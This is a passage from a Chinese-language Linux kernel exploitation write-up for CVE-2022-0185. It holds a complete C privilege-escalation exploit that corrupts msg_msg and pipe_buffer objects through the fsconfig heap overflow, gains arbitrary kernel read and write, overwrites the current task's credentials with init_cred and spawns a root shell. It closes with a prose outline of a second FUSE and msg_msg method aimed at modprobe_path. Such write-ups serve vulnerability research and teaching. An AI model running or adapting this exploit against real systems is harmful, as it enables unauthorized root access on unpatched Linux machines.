init_cred 为有着 root 权限的 cred,我们可以直接将当前进程的 cred 修改为该 cred 以完成提权,这里iwom可以通过 prctl(PR_SET_NAME, ""); 修改 task_struct.comm ,从而方便搜索当前进程的 task_struct 在内存空间中的位置:)

不过 init_cred 的符号有的时候是不在 /proc/kallsyms 中导出的,我们在调试时未必能够获得其地址,因此这里笔者选择通过解析 task_struct 的方式向上一直找到 init 进程(所有进程的父进程)的 task_struct ,从而获得 init_cred 的地址

FINAL EXPLOIT

exp 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <linux/mount.h>
#include <sys/prctl.h>
#include "kernelpwn.h"

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

static inline int fsopen(const char *fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

static inline int fsconfig(int fsfd, unsigned int cmd, 
             const char *key, const void *val, int aux)
{
    return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

/**
 * @brief make an out-of-bound write to the next object in kmalloc-4k,
 * note that the buf before will always be appended to a ",=",
 * for a ctx-legacy_data with 4095 bytes' data, the ',' will be the last byte,
 * and the '=' will always be on the first byte of the object nearby
 * 
 * @Return int - the fd for filesystem context
 */
int prepare_oob_write(void)
{
    int fs_fd;

    /* get a filesystem context */
    fs_fd = fsopen("ext4", 0);
    if (fs_fd < 0) {
        err_exit("FAILED to fsopen()!");
    }

    /**
     * fulfill the ctx->legacy_data to 4095 bytes, 
     * so that the (0x1000 - 2 - size) overflow
     */
    for (int i = 0; i < 255; i++) {
        fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
    }
    fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

    return fs_fd;    
}

#define MSG_SPRAY_NR 0x100
#define MSG_SZ    (0x1000+0x20-sizeof(struct msg_msg)-sizeof(struct msg_msgseg))
#define OOB_READ_SZ    (0x2000-sizeof(struct msg_msg)-sizeof(struct msg_msgseg))
#define MSG_TYPE 0x41414141

#define SEQ_SPRAY_NR 0x100
#define PIPE_SPRAY_NR MSG_SPRAY_NR

int msqid[MSG_SPRAY_NR];
int seq_fd[SEQ_SPRAY_NR];
int pipe_fd[PIPE_SPRAY_NR][2];
int fs_fd, victim_qidx = -1;

/**
 * @brief We don't need to leak anything here, we just need to occupy a 4k obj.
 */
void occupy_4k_obj_by_msg(void)
{
    size_t buf[0x1000], ktext_leak = -1;

    puts("\n\033[34m\033[1m"
         "Stage I - corrupting msg_msg to leak kernel info and occupy a 4k obj"
         "\033[0m\n");

    puts("
  • Allocating pipe...");     for (int i = 0; i < PIPE_SPRAY_NR; i++) {         if (pipe(pipe_fd[i]) < 0) {             printf("[x] Failed at creating %d pipe.\n", i);             err_exit("FAILED to create pipe!");         }     }     puts("
  • Allocating msg_queue and msg_msg...");     for (int i = 0; i < (MSG_SPRAY_NR - 8); i++) {         if ((msqid[i] = get_msg_queue()) < 0) {             printf("[x] Failed at allocating %d queue.\n", i);             err_exit("FAILED to create msg_queue!");         }         buf[0] = i;         buf[MSG_SZ / 8] = i;         if (write_msg(msqid[i], buf, MSG_SZ, MSG_TYPE) < 0) {             printf("[x] Failed at writing %d queue.\n", i);             err_exit("FAILED to allocate msg_msg!");         }     }     puts("
  • Allocating fs->legacy_data...");     fs_fd = prepare_oob_write();     puts("
  • Allocating msg_queue and msg_msg...");     for (int i = (MSG_SPRAY_NR - 8); i < MSG_SPRAY_NR; i++) {         if ((msqid[i] = get_msg_queue()) < 0) {             printf("[x] Failed at allocating %d queue.\n", i);             err_exit("FAILED to create msg_queue!");         }         buf[0] = i;         buf[MSG_SZ / 8] = i;         if (write_msg(msqid[i], buf, MSG_SZ, MSG_TYPE) < 0) {             printf("[x] Failed at writing %d queue.\n", i);             err_exit("FAILED to allocate msg_msg!");         }     }     /*     puts("\n
  • Spray seq_operations...");     for (int i = 0; i < SEQ_SPRAY_NR; i++) {         if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) {             printf("[x] Failed at creating %d seq_file.\n", i);             err_exit("FAILED to create seq_file!");         }     }*/     puts("
  • fsconfig() to set the size to the &msg_msg->m_ts...");     fsconfig(fs_fd, FSCONFIG_SET_STRING, "3", "1919810ARTTNBA114514", 0);     puts("
  • fsconfig() to overwrite the msg_msg->m_ts...");     fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);     puts("
  • Tring to make an oob read...");     for (int i = 0; i < MSG_SPRAY_NR; i++) {         ssize_t read_size;         read_size = peek_msg(msqid[i], buf, OOB_READ_SZ, 0);         if (read_size < 0) {             printf("[x] Failed at reading %d msg_queue.\n", i);             err_exit("FAILED to read msg_msg!");         } else if (read_size > MSG_SZ) {             printf("\033[32m\033[1m[+] Found victim msg_msg at \033[0m"                    "%d\033[32m\033[1m msg_queue!\033[0m\n", i);             victim_qidx = i;             break;         }     }     if (victim_qidx == -1) {         err_exit("FAILED to overwrite the header of msg_msg!");     }     /*     for (int i = MSG_SZ / 8; i < (OOB_READ_SZ / 8); i++) {         if (buf[i] > 0xffffffff81000000 && ((buf[i] & 0xfff) == 0x4d0)) {             printf("
  • Leak kernel text addr: %lx\n", buf[i]);             ktext_leak = buf[i];             break;         }     }     if (ktext_leak == -1) {         err_exit("FAILED to leak kernel text address!");     }     kernel_offset = ktext_leak - 0xffffffff813834d0;     kernel_base += kernel_offset;     printf("\033[32m\033[1m[+] kernel base: \033[0m%lx  ", kernel_base);     printf("\033[32m\033[1moffset: \033[0m%lx\n", kernel_offset);     */ } /* for pipe escalation */ #define SND_PIPE_BUF_SZ 96 #define TRD_PIPE_BUF_SZ 192 int orig_pid, victim_pid = -1; int snd_orig_pid = -1, snd_vicitm_pid = -1; int self_2nd_pipe_pid = -1, self_3rd_pipe_pid = -1, self_4th_pipe_pid = -1; struct pipe_buffer info_pipe_buf; void corrupting_first_level_pipe_for_page_uaf(void) {     size_t buf[0x8000];     puts("\n\033[34m\033[1m"         "Stage II - corrupting pipe_buffer to make two pipes point to same page"          "\033[0m\n");     puts("
  • Allocating 4k pipe_buffer...");     for (int i = (PIPE_SPRAY_NR - 1); i >= 0; i--) {         if (i == victim_qidx) {             continue;         }         if (read_msg(msqid[i], buf, MSG_SZ, MSG_TYPE) < 0) {             printf("[x] Failed at reading %d msg_queue.\n", i);             err_exit("FAILED to release msg_msg!");         }         if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) {             printf("[x] Failed at extending %d pipe_buffer.\n", i);             err_exit("FAILED to extend pipe_buffer!");         }         write(pipe_fd[i][1], "arttnba3", 8);         write(pipe_fd[i][1], &i, sizeof(int));         write(pipe_fd[i][1], &i, sizeof(int));         write(pipe_fd[i][1], &i, sizeof(int));         write(pipe_fd[i][1], "arttnba3", 8);         write(pipe_fd[i][1], "arttnba3", 8);  /* prevent pipe_release() */     }     puts("
  • Overwriting pipe_buffer->page...");     fsconfig(fs_fd, FSCONFIG_SET_STRING, "ar", "tt", 0);     for (int i = 0; i < ((0x1000 - 8 * 4) / 16); i++) {         fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "ratbant", 0);     }     puts("
  • Checking for pipe's corruption...");     for (int i = (PIPE_SPRAY_NR - 1); i >= 0; i--) {         char a3_str[0x10];         int nr;         if (i == victim_qidx) {             continue;         }         memset(a3_str, '\0', sizeof(a3_str));         read(pipe_fd[i][0], a3_str, 8);         read(pipe_fd[i][0], &nr, sizeof(int));         if (!strcmp(a3_str, "arttnba3") && nr != i) {             orig_pid = i;             victim_pid = nr;             break;         }     }     if (victim_pid == -1) {         err_exit("FAILED to corrupt pipe_buffer!");     }     printf("\033[32m\033[1m[+] Successfully corrupt pipe_buffer! "            "orig_pid: \033[0m%d, \033[32m\033[1mvictim pipe: \033[0m%d\n",            orig_pid, victim_pid); } void corrupting_second_level_pipe_for_pipe_uaf(void) {     size_t buf[0x1000], pipe_buf[0x100];     size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));     puts("\n\033[34m\033[1m"          "Stage III - corrupting second-level pipe_buffer to exploit a "          "page-level UAF"          "\033[0m\n");     memset(buf, '\0', sizeof(buf));     /* let the page's ptr at pipe_buffer */     write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 24 - 3*sizeof(int));     /* free orignal pipe's page */     puts("
  • free original pipe...");     close(pipe_fd[orig_pid][0]);     close(pipe_fd[orig_pid][1]);     /* try to rehit victim page by reallocating pipe_buffer */     puts("
  • fcntl() to set the pipe_buffer on victim page...");     for (int i = 0; i < PIPE_SPRAY_NR; i++) {         if (i == victim_qidx) {             continue;         }         if (i == orig_pid || i == victim_pid) {             continue;         }         if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) {             printf("[x] failed to resize %d pipe!\n", i);             err_exit("FAILED to re-alloc pipe_buffer!");         }     }     /* read victim page to check whether we've successfully hit it */     memset(pipe_buf, '\0', sizeof(pipe_buf));     read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));     read(pipe_fd[victim_pid][0], pipe_buf, 40);     for (int i = 0; i < (40 / 8); i++) {         printf("[----data dump----][%d] %lx\n", i, pipe_buf[i]);     }     /* I don't know why but sometimes the read will be strange :( */     if (pipe_buf[4] == 0xffffffff) {         memcpy(&info_pipe_buf, &((char*)pipe_buf)[12], 40);     } else {         memcpy(&info_pipe_buf, pipe_buf, 40);     }     printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"            "\033[34m\033[1m[?] info_pipe_buf->offset: \033[0m%x\n"            "\033[34m\033[1m[?] info_pipe_buf->len: \033[0m%x\n"            "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n"            "\033[34m\033[1m[?] info_pipe_buf->flags: \033[0m%x\n"            "\033[34m\033[1m[?] info_pipe_buf->private: \033[0m%lx\n",            info_pipe_buf.page,            info_pipe_buf.offset,            info_pipe_buf.len,            info_pipe_buf.ops,            info_pipe_buf.flags,            info_pipe_buf.private);     if ((size_t) info_pipe_buf.page < 0xffff000000000000         || (size_t) info_pipe_buf.ops < 0xffffffff81000000) {         err_exit("FAILED to re-hit victim page!");     }     puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");     printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);     puts("");     /* construct a second-level page uaf */     puts("
  • construct a second-level uaf pipe page...");     //info_pipe_buf.offset = 8;     //info_pipe_buf.len = 0xf00;     for (int i = 0; i < 35; i++) {         write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));         write(pipe_fd[victim_pid][1],buf,SND_PIPE_BUF_SZ-sizeof(info_pipe_buf));     }     for (int i = 0; i < PIPE_SPRAY_NR; i++) {         char tmp_bf[0x10];         int nr;         if (i == victim_qidx) {             continue;         }         if (i == orig_pid || i == victim_pid) {             continue;         }         read(pipe_fd[i][0], &nr, sizeof(nr));         if (nr == 0x74747261) {             read(pipe_fd[i][0], tmp_bf, 4);             read(pipe_fd[i][0], &nr, sizeof(nr));         }         printf("
  • nr for %d pipe is %d\n", i, nr);         if (nr < PIPE_SPRAY_NR && i != nr) {             snd_orig_pid = nr;             snd_vicitm_pid = i;             printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d "                    "\033[32m\033[1m, orig: \033[0m%d\n",                    snd_vicitm_pid, snd_orig_pid);             break;         }     }     if (snd_vicitm_pid == -1) {         err_exit("FAILED to corrupt second-level pipe_buffer!");     } } /** * VI - SECONDARY exploit stage: build pipe for arbitrary read & write */ void building_self_writing_pipe(void) {     size_t buf[0x1000];     size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer));     struct pipe_buffer evil_pipe_buf;     struct page *page_ptr;     puts("\n\033[34m\033[1m"          "Stage IV - Building a self-writing pipe system"          "\033[0m\n");     memset(buf, 0, sizeof(buf));     /* let the page's ptr at pipe_buffer */     write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - 24 -3*sizeof(int));     /* free orignal pipe's page */     puts("
  • free second-level original pipe...");     close(pipe_fd[snd_orig_pid][0]);     close(pipe_fd[snd_orig_pid][1]);     /* try to rehit victim page by reallocating pipe_buffer */     puts("
  • fcntl() to set the pipe_buffer on second-level victim page...");     for (int i = 0; i < PIPE_SPRAY_NR; i++) {         if (i == victim_qidx) {             continue;         }         if (i == orig_pid || i == victim_pid             || i == snd_orig_pid || i == snd_vicitm_pid) {             continue;         }         if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0) {             printf("[x] failed to resize %d pipe!\n", i);             err_exit("FAILED to re-alloc pipe_buffer!");         }     }     /* let a pipe->bufs pointing to itself */     puts("
  • hijacking the 2nd pipe_buffer on page to itself...");     evil_pipe_buf.page = info_pipe_buf.page;     evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;     evil_pipe_buf.len = TRD_PIPE_BUF_SZ;     evil_pipe_buf.ops = info_pipe_buf.ops;     evil_pipe_buf.flags = info_pipe_buf.flags;     evil_pipe_buf.private = info_pipe_buf.private;     write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));     /* check for third-level victim pipe */     for (int i = 0; i < PIPE_SPRAY_NR; i++) {         if (i == victim_qidx) {             continue;         }         if (i == orig_pid || i == victim_pid             || i == snd_orig_pid || i == snd_vicitm_pid) {             continue;         }         read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));         if (page_ptr == evil_pipe_buf.page) {             self_2nd_pipe_pid = i;             printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n",                     self_2nd_pipe_pid);             break;         }     }     if (self_2nd_pipe_pid == -1) {         err_exit("FAILED to build a self-writing pipe!");     }     /* overwrite the 3rd pipe_buffer to this page too */     puts("
  • hijacking the 3rd pipe_buffer on page to itself...");     evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;     evil_pipe_buf.len = TRD_PIPE_BUF_SZ;     write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));     write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));     /* check for third-level victim pipe */     for (int i = 0; i < PIPE_SPRAY_NR; i++) {         if (i == victim_qidx) {             continue;         }         if (i == orig_pid || i == victim_pid             || i == snd_orig_pid || i == snd_vicitm_pid             || i == self_2nd_pipe_pid) {             continue;         }         read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));         if (page_ptr == evil_pipe_buf.page) {             self_3rd_pipe_pid = i;             printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"                     "%d\n", self_3rd_pipe_pid);             break;         }     }     if (self_3rd_pipe_pid == -1) {         err_exit("FAILED to build a self-writing pipe!");     }     /* overwrite the 4th pipe_buffer to this page too */     puts("
  • hijacking the 4th pipe_buffer on page to itself...");     evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;     evil_pipe_buf.len = TRD_PIPE_BUF_SZ;     write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));     write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));     /* check for third-level victim pipe */     for (int i = 0; i < PIPE_SPRAY_NR; i++) {         if (i == victim_qidx) {             continue;         }         if (i == orig_pid || i == victim_pid             || i == snd_orig_pid || i == snd_vicitm_pid             || i == self_2nd_pipe_pid || i== self_3rd_pipe_pid) {             continue;         }         read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));         if (page_ptr == evil_pipe_buf.page) {             self_4th_pipe_pid = i;             printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"                     "%d\n", self_4th_pipe_pid);             break;         }     }     if (self_4th_pipe_pid == -1) {         err_exit("FAILED to build a self-writing pipe!");     }     puts(""); } struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf; char temp_zero_buf[0x1000]= { '\0' }; /** * @brief Setting up 3 pipes for arbitrary read & write. * We need to build a circle there for continuously memory seeking: * - 2nd pipe to search * - 3rd pipe to change 4th pipe * - 4th pipe to change 2nd and 3rd pipe */ void setup_evil_pipe(void) {     /* init the initial val for 2nd,3rd and 4th pipe, for recovering only */     memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));     memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));     memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));     evil_2nd_buf.offset = 0;     evil_2nd_buf.len = 0xff0;     /* hijack the 3rd pipe pointing to 4th */     evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;     evil_3rd_buf.len = 0;     write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));     evil_4th_buf.offset = TRD_PIPE_BUF_SZ;     evil_4th_buf.len = 0; } void arbitrary_read_by_pipe(struct page *page_to_read, void *dst) {     /* page to read */     evil_2nd_buf.offset = 0;     evil_2nd_buf.len = 0xfff;     evil_2nd_buf.page = page_to_read;     /* hijack the 4th pipe pointing to 2nd pipe */     write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));     /* hijack the 2nd pipe for arbitrary read */     write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));     write(pipe_fd[self_4th_pipe_pid][1],           temp_zero_buf,           TRD_PIPE_BUF_SZ-sizeof(evil_2nd_buf));     /* hijack the 3rd pipe to point to 4th pipe */     write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));     /* read out data */     read(pipe_fd[self_2nd_pipe_pid][0], dst, 0xff0); } void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len) {     /* page to write */     evil_2nd_buf.page = page_to_write;     evil_2nd_buf.offset = 0;     evil_2nd_buf.len = 0;     /* hijack the 4th pipe pointing to 2nd pipe */     write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));     /* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */     write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));     write(pipe_fd[self_4th_pipe_pid][1],           temp_zero_buf,           TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));     /* hijack the 3rd pipe to point to 4th pipe */     write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));     /* write data into dst page */     write(pipe_fd[self_2nd_pipe_pid][1], src, len); } /** * VII - FINAL exploit stage with arbitrary read & write */ size_t *tsk_buf, current_task_page, current_task, parent_task, buf[0x8000]; void info_leaking_by_arbitrary_pipe() {     size_t *comm_addr;     int try_times;     puts("\n\033[34m\033[1m"          "Stage V - Leaking info by arbitrary read & write"          "\033[0m\n");     memset(buf, 0, sizeof(buf));     puts("
  • Setting up kernel arbitrary read & write...");     setup_evil_pipe();     /**      * KASLR's granularity is 256MB, and pages of size 0x1000000 is 1GB MEM,      * so we can simply get the vmemmap_base like this in a SMALL-MEM env.      * For MEM > 1GB, we can just find the secondary_startup_64 func ptr,      * which is located on physmem_base + 0x9d000, i.e., vmemmap_base[156] page.      * If the func ptr is not there, just vmemmap_base -= 256MB and do it again.      */     vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000;     try_times = 0;     for (;;) {         printf("
  • Checking whether the %lx is vmemmap_base..\n",vmemmap_base);         arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf);         printf("[?] Get possible data: %lx\n", buf[0]);         if (buf[0] == 0x2400000000) {             err_exit("READING FAILED FOR UNKNOWN REASON!");         }         if (buf[0] > 0xffffffff81000000 && ((buf[0] & 0xfff) == 0x030)) {             kernel_base = buf[0] -  0x030;             kernel_offset = kernel_base - 0xffffffff81000000;             printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"                    "\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n",                    kernel_base, kernel_offset);             break;         }         try_times++;         if (try_times == 5) {             vmemmap_base -= 0x10000000;             try_times = 0;         }     }     printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);     /* now seeking for the task_struct in kernel memory */     puts("
  • Seeking task_struct in memory...");     /**      * For a machine with MEM less than 256M, we can simply get the:      *      page_offset_base = heap_leak & 0xfffffffff0000000;      * But that's not always accurate, espacially on a machine with MEM > 256M.      * So we need to find another way to calculate the page_offset_base.      *      * Luckily the task_struct::ptraced points to itself, so we can get the      * page_offset_base by vmmemap and current task_struct as we know the page.      *      * Note that the offset of different filed should be referred to your env.      */     for (int i = 1; 1; i++) {         arbitrary_read_by_pipe((struct page*) (vmemmap_base + (i-1)*0x40), buf);         arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40),                                &((char*)buf)[0x1000]);         comm_addr = memmem(buf, 0x1ff0, "arttPWNnba3", 11);         if (comm_addr == NULL) {             continue;         }         if ((((size_t) comm_addr - (size_t) buf) & 0xfff) < 500) {             continue;         }         printf("
  • Found string at page: %lx\n", vmemmap_base + i * 0x40);         printf("
  • String offset: %lx\n",                                    ((size_t) comm_addr - (size_t) buf) & 0xfff);         printf("
  • comm_addr[-2]: %lx\n", comm_addr[-2]);         printf("
  • comm_addr[-3]: %lx\n", comm_addr[-3]);         printf("
  • comm_addr[-52]: %lx\n", comm_addr[-52]);         printf("
  • comm_addr[-53]: %lx\n", comm_addr[-53]);         if ((comm_addr[-2] > 0xffff888000000000) /* task->cred */             && (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */             && (comm_addr[-53] > 0xffff888000000000) /* task->read_parent */             && (comm_addr[-52] > 0xffff888000000000)) {  /* task->parent */             /* task->read_parent */             parent_task = comm_addr[-53];             /* task_struct::ptraced */             current_task = comm_addr[-46] - 2280;             page_offset_base = (comm_addr[-46]&0xfffffffffffff000) - i * 0x1000;             page_offset_base &= 0xfffffffff0000000;             printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",                    (struct page*) (vmemmap_base + i * 0x40));             printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",                    page_offset_base);             printf("\033[34m\033[1m
  • current task_struct's addr: \033[0m"                    "0x%lx\n\n", current_task);             break;         }     } } /** * @brief find the init_task and copy something to current task_struct */ void privilege_escalation_by_task_overwrite(void) {     puts("\n\033[34m\033[1m"          "Stage VI - Hijack current task_struct to get the root"          "\033[0m\n");     /* finding the init_task, the final parent of every task */     puts("
  • Seeking for init_task...");     for (;;) {         size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);         tsk_buf = (size_t*) ((size_t) buf + (parent_task & 0xfff));         arbitrary_read_by_pipe((struct page*) ptask_page_addr, buf);         arbitrary_read_by_pipe((struct page*) (ptask_page_addr+0x40),&buf[512]);         /* task_struct::real_parent */         if (parent_task == tsk_buf[278]) {             break;         }         parent_task = tsk_buf[278];     }     init_task = parent_task;     init_cred = tsk_buf[329];     init_nsproxy = tsk_buf[341];     printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task);     printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);     printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);     /* now, changing the current task_struct to get the full root :) */     puts("
  • Escalating ROOT privilege now...");     current_task_page = direct_map_addr_to_page_addr(current_task);     arbitrary_read_by_pipe((struct page*) current_task_page, buf);     arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);     tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));     tsk_buf[328] = init_cred;     tsk_buf[329] = init_cred;     tsk_buf[341] = init_nsproxy;     arbitrary_write_by_pipe((struct page*) current_task_page, buf, 0xff0);     arbitrary_write_by_pipe((struct page*) (current_task_page+0x40),                             &buf[512], 0xff0);     puts("[+] Done.\n"); } int msg_pipe[2]; void signal_handler(int nr) {     printf("[x] Receive signal %d!\n", nr);     sleep(114514); } int main(int argc, char **argv, char **envp) {     puts("
  • CVE-2022-0185 - exploit by arttnba3");     signal(SIGSEGV, signal_handler);     pipe(msg_pipe);     if (!fork()) {         /* create new namespace to get CAP_SYS_ADMIN */         if (unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {             err_exit("FAILED to unshare()!");         }         bind_core(0);         occupy_4k_obj_by_msg();sleep(1);         corrupting_first_level_pipe_for_page_uaf();sleep(1);         corrupting_second_level_pipe_for_pipe_uaf();sleep(1);         building_self_writing_pipe();sleep(1);         info_leaking_by_arbitrary_pipe();sleep(1);         privilege_escalation_by_task_overwrite();sleep(1);         write(msg_pipe[1], "arttnba3", 8);         sleep(114514);     } else {         char ch;         if (prctl(PR_SET_NAME, "arttPWNnba3") < 0) {             err_exit("FAILED to prctl()!");         }         read(msg_pipe[0], &ch, 1);     }     puts("
  • checking for root...");     get_root_shell();     return 0; }
  • 运行即可完成提权

    image.png

    方法二、结合 FUSE + msg_msg 进行任意地址写

    现在我们有了任意长度的堆溢出,而可溢出对象用的分配 flag 为 GFP_KERNEL、大小为 4k(一张内存页大小),那么我们不难想到可以基于我们的老朋友 System V 消息队列结构体来完成利用

    Step.I - 堆喷 msg_msg,覆写 m_ts 字段进行越界读取

    我们先来复习一下消息队列中一条消息的基本结构,当我们调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,在内核空间中会创建这样一个结构体作为信息的 header:

    /* one msg_msg structure for each message */
    struct msg_msg {
        struct list_head m_list;
        long m_type;
        size_t m_ts;        /* message text size */
        struct msg_msgseg *next;
        void *security;
        /* the actual message follows immediately */
    };

    当我们在单个消息队列上发送一条消息时,若大小不大于【一个页面大小 - header size】,则仅使用一个 msg_msg 结构体进行存储,而当我们单次发送大于【一个页面大小 - header size】大小的消息时,内核会额外补充添加 msg_msgseg 结构体,其与 msg_msg 之间形成如下单向链表结构,而单个 msg_msgseg 的大小最大为一个页面大小,超出这个范围的消息内核会额外补充上更多的 msg_msgseg 结构体,链表最后以 NULL 结尾:

    image.png

    由于我们有越界写,那么我们不难想到的是我们可以将 msg_msgctx->legacy_data 堆喷到一起,之后越界写入相邻 msg_msg 的 header 将 m_ts 改大,之后我们再使用 msgrcv() 读取消息,便能读取出超出该消息范围的内容,从而完成越界读取;由于我们的越界写入会破坏 msg_msg 头部的双向链表,因此在读取时我们应当使用 MSG_COPY 以保持消息在队列上不会被 unlink

    由于 ctx->legacy_data 的大小已经是 4k 了,故我们考虑在 msg_msgseg 上完成越界读取,由于 msgrcv() 拷贝消息时以单链表结尾 NULL 作为终止,故我们最多可以在 msg_msgseg 上读取将近一张内存页大小的数据,因此我们考虑让 msg_msgseg 的消息尽量小,从而让我们能够越界读取到更多的 object

    接下来考虑如何使用越界读取进行数据泄露,这里我们考虑堆喷其他的可以泄露数据的小结构体与我们的 msg_msgseg 混在一起,从而使得我们越界读取时可以直接读到我们堆喷的这些小结构体,从而泄露出内核代码段加载基地址,那么这里笔者考虑堆喷 seq_operations 来完成数据的泄露

    为了提高越界写入 msg_msg 的成功率,笔者选择先堆喷一部分 msg_msg,之后分配  ctx->legacy_data , 接下来再堆喷另一部分 msg_msg为了提高数据泄露的成功概率,笔者选择在每次在消息队列上发送消息时都喷一个 seq_operations,在完成消息队列的发送之后再喷射大量的 seq_operations

    不过需要注意的是我们的越界写并不一定能写到相邻的 msg_msg,也可能写到其他结构体或是 free object,若 free object 的 next 指针刚好位于开头被我们 overwrite 了,则会在后面的分配中导致 kernel panic

    Step.II - 堆喷 msg_msg,利用 FUSE 在消息拷贝时覆写 next 字段进行任意地址写

    接下来我们该考虑如何进行提权的工作了,通过覆写 msg_msg 的方式我们同样可以进行任意地址写的操作,由于消息发送时在 do_msgsnd() 当中是先分配对应的 msg_msgmsg_msgseg 链表作为消息的存储空间再进行拷贝,那么我们不难想到的是我们可以先发送一个大于一张内存页大小的消息,这样会分配一个 4k 的 msg_msg 与一个 msg_msgseg ,在 do_msgsnd() 中完成空间分配后在 msg_msg 上进行数据拷贝的时候,我们在另一个线程当中使用越界写更改 msg_msg 的 header,使其 next 指针更改到我们想要写入数据的地方,当 do_msgsnd() 开始将数据拷贝到 msg_msgseg 上时,由于 msg_msg 的 next 指针已经被我们所更改,故其会将数据写入到我们指定的地址上,从而完成任意地址写

    image.png

    不过 do_msgsnd() 的所有操作在一个系统调用中完成,因此这需要我们进行条件竞争,而常规的条件竞争通常很难成功,那么我们不难想到的是我们可以利用 userfaultfd 让  do_msgsnd() 在拷贝数据到  msg_msg  时触发用户空间的缺页异常,陷入到我们的 page fault handler 中,我们在 handler 线程中再进行越界写,之后恢复到原线程,这样利用的成功率便大大提高了

    image.png

    但是自 kernel 版本 5.11 起非特权用户无法使用 userfaultfd,而该漏洞影响的内核版本包括 5.11以上的版本,因此我们需要使用更为通用的办法——用户空间文件系统(filesystem in userspace,FUSE)可以被用作 userfaultfd 的替代品,帮助我们完成条件竞争的利用

    image.png

    不过需要注意的是,由于 slub allocator 的随机性,我们并不能保证一定能够溢出到陷入 FUSE 中的 msg_msg ,因此需要多次分配并进行检查以确保我们完成了任意地址写

    有了任意地址写之后想要提权就简单得多了,漏洞发现者给出的解法是覆写 modprobe_path 以完成提权,算是比较常规的一种办法:)

    0x03.漏洞修复

